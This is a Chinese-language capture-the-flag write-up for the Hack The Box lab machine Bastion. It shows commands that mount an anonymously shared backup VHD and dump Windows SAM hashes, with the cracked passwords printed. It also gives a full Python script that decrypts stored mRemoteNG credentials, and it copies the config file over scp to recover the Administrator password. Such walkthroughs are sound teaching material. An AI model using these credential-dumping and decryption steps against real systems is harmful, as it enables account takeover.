HackTheBox >_ Bastion_134
Bastion_134
而windows备份中
将vhd挂载到本地
也可以通过下面的命令进行挂载
sudo mkdir /mnt/L4mpje-PC
sudo mkdir /mnt/vhd
sudo modprobe nbd
sudo mount -t cifs //10.10.10.134/Backups/WindowsImageBackup/L4mpje-PC /mnt/L4mpje-PC/ -o user=anonymous
sudo qemu-nbd -r -c /dev/nbd0 "/mnt/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd"
sudo mount -r /dev/nbd0p1 /mnt/vhd
挂载之后在Windows/System32/config
使用samdump来转储hash
samdump2 SYSTEM SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
L4mpje:26112010952d963c8dc4217daec986d9:bureaulampje
ssh L4mpje@10.10.10.134
参考http://cosine-security.blogspot.com/2011/06/stealing-password-from-mremote.html
如果您不知道mRemote是Windows的选项卡式远程连接管理器。它可以存储和管理许多不同的连接,其中主要是RDP,VNC和SSH。它是必须远程访问许多计算机的IT支持人员中的一种流行工具。
在mRemote中保存连接时,它将所有这些数据输出到本地AppData文件夹中的XML报告中。密码以加密格式保存,但这是微不足道的。使用AES-128-CBC Rijndael加密对密码进行加密,然后将IV预先添加到已编码的密码中,然后对所有内容进行base64编码以输出到XML。使用的加密密钥是字符串“ mR3m”的md5哈希。因此,要解密这些密码,我们遵循一个简单的过程:
示例密码:28kQ15DF4kdW34Mx2 + fh + NWZODNSoSPek7ug + ILvyPE =
获取mR3m的md5哈希并将其转换为字节值: xc8 xa3 x9d xe2 xa5 x47 x66 xa0 xda x87 x5f x79 xaa xf1 xaa x8c base64解码保存的密码数据 取解码数据的前16个字节,并将其设置为初始化矢量(IV) 运行AES-128-CBC解密,将您的密码文本(解码文本中的剩余字节),IV(前16个字节)和密钥( xc8 xa3 x9d xe2 xa5 x47 x66 xa0 xda x87 x5f x79 xaa xf1 xaa x8c) 您应该获得解密的密码:password1
简单易用,您现在即可解密所有这些美味的RDP,VNC和SSH密码。为了使一切变得更加容易,我编写了一个新的Metasploit POST模块,它将在受感染机器上找到XML文件并为您解密这些密码。我刚刚将其提交给Redmine,因此尚未添加,但请注意。我怀疑它将很快在那里。
同时网上存在已经很棒的基于msf模块所写成的离线解密脚本
#!/usr/bin/env python3
import base64
import hashlib
import re
import sys
from Cryptodome.Cipher import AES
if len(sys.argv) != 2:
print(f"[-] Usage: {sys.argv[0]} [confCons.xml]")
sys.exit()
try:
with open(sys.argv[1], 'r') as f:
conf = f.read()
except FileNotFoundError:
print(f"[-] Unable to open {sys.argv[1]}")
sys.exit()
mode = re.findall('BlockCipherMode="(\w+)"', conf)
if len(mode) !=1:
print("[-] Warning - No BlockCipherMode detected")
elif mode[0] != 'GCM':
print(f"[-] Warning - This script is for AES GCM Mode. {mode} detected")
nodes = re.findall('<Node .+/>', conf)
if len(nodes) > 0:
print(f"[+] Found nodes: {len(nodes)}\n")
else:
print("[-] Found no nodes")
for node in nodes:
user = re.findall(' Username="(\w*)"', node)[0]
enc = base64.b64decode(re.findall(' Password="([^ ]+)"', node)[0])
salt = enc[:16]
nonce = enc[16:32]
cipher = enc[32:-16]
tag = enc[-16:]
key = hashlib.pbkdf2_hmac("sha1", b"mR3m", salt, 1000, dklen=32)
aes = AES.new(key, AES.MODE_GCM, nonce=nonce)
aes.update(salt)
password = aes.decrypt_and_verify(cipher, tag).decode()
print(f"Username: {user}\nPassword: {password}\n")
按照漏洞利用方法,找到存有凭证的xml文件
由于我们有ssh的凭证可以使用scp将文件传输回kali
scp l4mpje@10.10.10.134:./AppData/Roaming/mRemoteNG/confCons.xml .
python3 mRemoteO_PwdsDecrypt.py confCons.xml
Administrator:thXLHM96BeKL0ER2
ssh登录